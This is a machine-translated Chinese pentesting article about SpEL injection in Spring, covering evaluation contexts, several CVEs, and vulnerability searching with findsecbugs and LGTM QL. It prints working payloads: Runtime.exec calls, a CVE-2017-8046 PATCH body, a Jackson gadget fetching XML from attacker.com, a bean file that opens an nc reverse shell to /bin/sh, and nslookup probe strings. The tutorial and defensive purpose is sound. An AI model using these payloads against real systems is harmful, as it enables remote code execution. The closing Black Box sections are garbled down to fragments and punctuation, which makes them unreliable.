注射


前言


在工作和研究各种服务的过程中,我们可以逐渐满足Spring框架。 合理的步骤是熟悉其结构和可能的漏洞。


对于任何Pentester而言,最有趣的是导致代码执行的漏洞。


在Spring中获得RCE的一种方法是注入SpEL表达式。


在本文中,我们将尝试了解什么是SpEL,可以在哪里找到它,使用的功能是什么,以及如何找到这种注射剂。


什么啊


SpEL是为Spring框架创建的一种表达语言,它在运行时支持对象的查询和图形管理。
同样重要的是要注意SpEL是作为API创建的,可让您将其集成到其他应用程序和框架中。


我在哪里见面?


Spring Framework中始终使用SpEL是合乎逻辑的。 一个很好的例子是Spring Security,其中使用SpEL表达式分配权限:


@PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission); 


Apache Camel使用SpEL API; 以下是其文档中的示例。
使用SpEL表达式形成字母:


 <route> <from uri="direct:foo"/> <filter> <spel>#{request.headers['foo'] == 'bar'}</spel> <to uri="direct:bar"/> </filter> </route> 

或者,您可以使用外部文件中的规则,例如,指定标头:


 .setHeader("myHeader").spel("resource:classpath:myspel.txt") 

以下是在GitHub上看到的一些示例:
https://github.com/jpatokal/openflights



https://github.com/hbandi/LEP



Spring框架和SpEL基础


为了使读者更容易理解什么是SpEL注入,您需要对Spring和SpEL有所了解。


Spring框架的关键元素是Spring容器。 容器创建对象,将它们绑在一起,从创建到销毁对它们进行配置和管理。


为了控制组成应用程序的组件,Spring Container使用
依赖注入。 这是使用称为Spring Beans的外部实体(俗称“ beans”)配置对象的时候。


Spring Container从Bean检索配置元数据,获取以下信息是必需的:有关实例化哪些对象以及如何通过元数据配置它们的说明。


可以通过3种方式获取元数据:


  • XML格式
  • Java注解
  • Java代码

对我们来说,另一个重要点是应用程序上下文。


ApplicationContext是Spring应用程序中提供应用程序配置信息的主界面。 它在运行时是只读的,但是可以在必要时重新加载并由应用程序支持。 实现ApplicationContext接口的类的数量可用于各种配置参数和应用程序类型。 实际上,它是Spring应用程序本身。 上下文还提供了响应应用程序中发生的各种事件并控制Bean生命周期的能力。



现在,让我们直接介绍定义bean和使用SpEL表达式的方法。


Bean.xml


典型用法的一个示例是将SpEL集成到XML的创建或bean组件的带注释的定义中:


 <bean id=“exmple" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/> <property name="defaultLocale2" value="${user.region}"/> </bean> 

这是Bean.xml文件中代码的一部分,仅适用于其中的一个bean。 值得注意可通过其访问的bin的ID以及属性。 因为 作为本文的一部分,我们正在考虑使用SpEL的可能性,然后在示例中将提供几种用于编写此类表达式的选项。


为了向Spring指示接下来是SpEL表达式,使用了#字符,并且表达式本身被括在大括号中: #{SpEL_expression} 。 可以使用$字符引用属性,并将属性名称括在大括号中: ${someProperty} 。 属性占位符不能包含SpEL表达式,但是表达式可以包含属性引用:


 "#{${someProperty}" 

因此,您可以调用我们需要的任何Java类,例如,访问环境变量,这对于确定用户名或系统版本很有用。


这种指定bean的方法的便利之处在于可以在不重新编译整个应用程序的情况下更改它们,从而改变应用程序的行为。


您可以从应用程序本身使用ApplicationContext接口访问此bean,如下所示:


 ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”); MyExpression example = ctx.getBean(“example", MyExpression.class); " + "System.out.println(“Number : " + example.getValue()); System.out.println(“Locale : " + example.getDefaultLocale()); System.out.println(“Locale : " + example.getDefaultLocale2()); 

即 在应用程序内部,我们仅获取包含SpEL表达式的bin参数的值。 Spring收到了这样的值后,将执行该表达式并返回最终结果。 另外,请不要忘记,没有相应的getter,该代码将无法工作,但是其描述不在本文讨论范围之内。


指定bean的另一种方法是AnnotationBase注释方法-在某些类的注释内设置参数值。 在这种情况下,不能使用变量。


 public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } } 

为了能够使用变量,在创建SpEL表达式时,我们需要使用ExpressionParser接口。 然后,一个类出现在应用程序代码中,类似于以下示例:


 public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == 'Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class); 

ExpressionParser将字符串表达式转换为Expression对象。 因此,可以在EvaluationContext框架中获得分析表达式的值。 该EvaluationContext将是唯一可用于EL字符串中所有属性和变量的对象。


值得注意的另一个重要事实。 通过这种使用SpEL的方法,如果除了表达式本身之外,它还包含字符串文字,则仅需要字符串表达式包含#。


在以上所有内容中,值得记住两件事:
1)如果可以按应用程序代码搜索,则需要查找这样的关键字:SpelExpressionParser,EvaluationContext和parseExpression。
2)对Spring #{SpEL}${someProperty}T(javaclass)重要的指针
如果您想了解有关Spring和SpEL的更多信息,建议您注意docs.spring.io文档。


SpEL可以做什么?


根据文档,SpEL支持以下功能:


  • 文字表达
  • 布尔运算符和关系运算符
  • 正则表达式
  • 类表达式
  • 访问属性,数组,列表,映射
  • 方法调用
  • 关系运算符
  • 作业
  • 调用构造函数
  • Bean参考
  • 阵列构造
  • 内联列表
  • 内联地图
  • 三元运算符
  • 变数
  • 用户定义的功能
  • 集合投影
  • 馆藏选择
  • 模板表达式

如我们所见,SpEL功能非常丰富,如果用户输入到ExpressionParser中,这可能会对项目的安全性产生不利影响。 因此,Spring本身建议使用简化后的SimpleEvaluationContext而不是功能齐全的StandardEcalutionContext。


简而言之,对于我们而言,SimpleEvaluationContext不具有访问Java类和引用其他bean的能力。


最好在文档网站上研究功能的完整描述:
StandardEvaluationContext
SimpleEvaluationContext


某些更正甚至是基于SpEL功能的不同而进行的,后者在不同的上下文中运行,但是稍后我们将对此进行讨论。


为了使所有事情真正清楚,我们举一个例子。 我们有明显的恶意行包含SpEL表达式:


 String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')"; 

有两种情况:


 StandardEvaluationContext std_c = new StandardEvaluationContext(); 


 EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build(); 

表达式exp = parser.parseExpression(inj);
java exp.getValue(std_c); - 计算器将启动
java exp.getValue(simple_c); - 我们会收到一条错误消息


同样有趣的一点是,我们无需指定任何上下文就可以开始处理表达式: exp.getValue();
在这种情况下,表达式将在标准上下文中执行,结果,恶意代码将被执行。 因此,如果您是程序员并且使用Spring,请不要忘记设置表达式应在其中执行的上下文。


我们早些时候说过,某些更正是基于上下文中SpEL功能之间的差异建立的。 考虑这种修复的示例。


CVE 2018-1273 Spring数据共享
在setPropertyValue方法中发现此漏洞,它基于两个问题:
1)属于ExpressionParser的变量的值的卫生性不足。
2)在标准上下文的框架中执行表达式。


这是该代码中易受攻击的部分的屏幕截图:



因为 属性名称不需要在SpEL框架内进行复杂的处理;逻辑解决方案是替换上下文,从而得到以下代码:



屏幕截图显示了设置上下文和将要执行的表达式的代码部分。 但是表达式的执行发生在其他地方:


 expression.setValue(context, value); 

此处表明我们正在针对给定上下文中的值执行SpEL表达式。
使用SimpleEvaluationContext帮助防止parseExpression中的Java类的实现,现在我们将看到一个错误,而不是在服务器日志中执行代码:


 Type cannot be found 'java.lang.Runtime' 

但这并不能解决缺乏足够卫生条件的问题,并且保留了进行重做攻击的能力:


 curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test" 

因此,下一个修复程序已经包括清除参数名称。


从理论到实践!


现在让我们看看使用白盒方法搜索SpEL注入的几种方法。


逐步CVE-2017-8046


首先,您需要找到一个处理SpEL表达式的地方。 为此,您只需使用我们的建议并在代码中查找关键字。 回忆这些单词:SpelExpressionParser,EvaluationContext和parseExpression。


另一种选择是使用各种插件来查找代码中的错误。 到目前为止,指向可能的SpEL注入的唯一插件是findsecbugs-cli。
https://github.com/find-sec-bugs


因此,我们找到了我们对代码感兴趣的地方。 假设使用findsecbugs-cli:



在应用程序代码中,我们将看到以下内容:


 public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List<String> APPEND_CHARACTERS = Arrays.asList("-"); /** * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. * @return an {@link Expression} */ public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); } 

下一步是找出路径变量进入表达式解析器的位置。 一种相当方便和免费的方法是使用IntelijIdea IDE函数-分析数据流:



通过展开链,例如,替换和研究指定的方法和类,我们得到以下信息:


ReplaceOperation方法采用路径变量的值。


 public ReplaceOperation(String path, Object value) { super("replace", path, value); } 

要调用replace方法,您需要将值“ replace”的变量“ op”传递给JSON。


 JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value)); 

同样,我们找到了用户可以将其所需的值传递给path变量的所有位置。 然后,该漏洞的一种利用选项如下所示:
申请方法:PATCH
要求正文:


 [{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }] 

使用LGTM QL


使用LGTM QL(出于本文的目的,我们将其简化为QL)是另一种搜索漏洞的有趣方法。
https://lgtm.com


它应立即规定其不足。 免费的,您只能分析GitHub上开放存储库中的项目,因为 为了拍摄项目的照片,LGTM将项目上载到其服务器并在那里进行编译。 但是,如果这不打扰您,那么LGTM QL将为您提供分析应用程序代码的绝佳机会。


那么什么是QL应用程序分析?


首先,正如我们已经说过的那样,您将需要创建应用程序的快照。


准备好快照后,这可能需要几个小时,您可以开始编写类似SQL的查询,作为QL语法的一部分。 为此,您可以使用Eclipse插件或直接在项目的QL页面上的控制台中执行操作。


因为 现在我们正在考虑Spring,这是Java的框架,您将需要描述您感兴趣的类以及该类中的方法,该类的调用被认为是易受攻击的。 对于我们来说,这是任何包含调用ExpressionParser的方法的类。


然后,我们选择所有满足我们要求的方法,例如,通过描述将进行消毒的方法中变量的出现以及不属于该方法的条件。



那么,要找到CVE漏洞2018-1273需要做什么?
接收并连接了项目映像后,我们使用QL控制台描述了我们感兴趣的调用树。 为此:
我们描述表达式解析器类:


 class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } } 

以及可以在ExpressionParser类中执行的方法:


 class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } } 

现在,您需要将这些描述相互关联并进行选择:


 from ParseExpression expr where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser) select expr 

这样的查询将返回所有以parse或名称doParseExpression开头的方法,这些方法将属于ExpressionParser类。 但是,您说那太多了,您将是对的。 需要一个过滤器。


因为 在代码中有以下形式的注释:


 * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. 

例如,这可能是在Javadoc中搜索“路径”。 Spring以很高的质量对其代码进行注释,我们可以找到带有必要注释的方法调用,同时删除测试中包括的所有方法。 所有这些可以描述如下:


 class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } } 

然后,为了结合Javadoc的类,方法和过滤器,用于选择的查询将采用以下形式:


 from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c 

该示例可以被认为是简单的,并且通常对于搜索特定漏洞是多余的。 更有趣的是在编写修订时搜索错误,因为 在其中,您需要指定负责检查的类本身,始终调用该类的方法以及在检查之前执行的方法。


始终调用verifyPath的方法的调用:


 class VerifyPathCallerAccess extends MethodAccess { VerifyPathCallerAccess() { exists(VerifyPathActionConf conf | conf.callAlwaysPerformsAction(this) ) or this.getMethod() instanceof VerifyPath } } 

调用在verifyPath之前执行的方法:


 class UnsafeEvaluateCall extends MethodAccess { UnsafeEvaluateCall() { ( this.getMethod() instanceof Evaluate or exists(UnsafeEvaluateCall unsafe | this.getMethod() = unsafe.getEnclosingCallable() ) ) and not exists(VerifyPathCallerAccess verify | dominates(verify, this) ) } } 

考虑另一个有趣的漏洞。 她的理解非常重要,因为 它表明该错误可能出在第三方库中,并演示了如何使用XML注释的bean。


杰克逊和豆


CVE-2017-17485基于FileSystemXmlApplicationContext的使用-它是XML形式的独立应用程序上下文,可从文件系统或URL接收上下文定义文件。


根据文档,这允许您从文件加载Bean并重新加载应用程序上下文。
“ ...创建一个新的FileSystemXmlApplicationContext,从给定的XML文件中加载定义,并自动刷新上下文”


Jackson是一个库,可让您序列化和反序列化除黑名单之外的任何对象。 攻击者经常利用此机会。 对于此漏洞,攻击者必须向org.springframework.context.support.FileSystemXmlApplicationContext对象传递一个值,该值包含攻击者控制的文件的路径。


即 在请求正文中,您可以传递以下JSON:


 {"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]} 

Spel.xml将包含bin参数:


 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list value-type="java.lang.String" > <value>nc</value> <value>XXXX</value> <value>9999</value> <value>-e</value> <value>/bin/sh</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans> 

因为 由于我们使用了具有start方法的java.lang.ProcessBuilder类,因此在重新加载上下文之后,Spring会从SpEL属性读取启动ProcessBuilder的表达式,从而迫使服务器使用nc连接到我们。


值得关注作为示例的spel.xml,因为 它显示了运行命令时如何传递参数。


还有什么其他方式可以加载bean或重新加载上下文?


即使快速浏览Spring文档,您仍然可以找到更多对我们有用的类。


ClassPathXmlApplicationContext和AbstractXmlApplicationContext与FileSystem相似,但是分别使用ClassPath和XML注释的Bean作为配置的路径。


与重新加载上下文有关的另一个有趣点是@RefreshScope。


任何带有@RefreshScope注释的Spring Bean将在启动时更新。 下次调用该方法时,所有使用它的组件都将收到一个新对象,它们将完全初始化并视情况引入。


RefreshScope是上下文中的一个组件,它具有一个公共的refreshAll方法,该方法旨在通过清除目标缓存来更新区域中的所有组件。 因此,在使用@RefreshScope的情况下,用户可以引用以/刷新结尾的URL,从而重新加载带注释的bean。


其他实用程序


还有许多其他插件和程序,可让您分析代码并查找漏洞。


  • Jprofiler-作为独立的应用程序安装-IDE的服务器和插件。 允许您分析正在运行的应用程序。 通过图形分析对象的行为非常方便。


负数-已付款,但有10天的免费期限。 它不仅是从安全的角度来看,被认为是分析应用程序行为的最佳工具之一。


  • Xrebel-付费,我们没有找到试用期的可能性。 但也被认为是最好的之一。
  • Coverity-使用其自己的服务器进行分析,因此仅对那些不怕布置其代码的人而言非常方便。
  • Checkmarx-非常有名,有偿,会多种语言,会丢弃很多误报。 但是,最好指出理论可能有错误的地方,而不是错过一个真正的错误。
  • OWASP依赖性检查-作为各种构建器的便捷插件提供。 分析Java应用程序时,我们设法对其进行了Maven和Ant的测试。 还支持.Net。 根据工作结果,它提供了一个方便的报告,指出了过时的库和已知的漏洞。
  • Findbugs-前面已经提到过。 它有许多实现,但是findbugs_cli选项被证明是最方便的,并且由于某种原因会显示更多问题。 可以如下使用:
     findsecbugs.bat -progress -html -output report_name.htm "path\example.jar" 
  • LGTM QL-先前已经给出了其用法示例。 我们要单独说一句,还有一个付费用例,在此之后,您将收到用于分析代码的本地服务器。
    QL Java, .

Black Box


-, .
, : Spring, SpEL, , SpEL API, -, .


spring, URL, API. /metrics /beans — Spring Boot Actuator , .


, .


, SpEL , , .


  • : var[SpEL]=123
  • : &variable1=123&SpEL=
  • : org.springframework.cookie = ${}
  • ..

:


 ${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name} 

SpEL


SpEL , , EL Injection. : OGNL, MVEL, JBoss EL, JSP EL. - .



ZeroNights : “ , Spring, SpEL injection?”


, CVE, . , , github.


, , SpEL Expression. 即 (, ) , .


即 . , , “” .

Source: https://habr.com/ru/post/zh-CN433034/


All Articles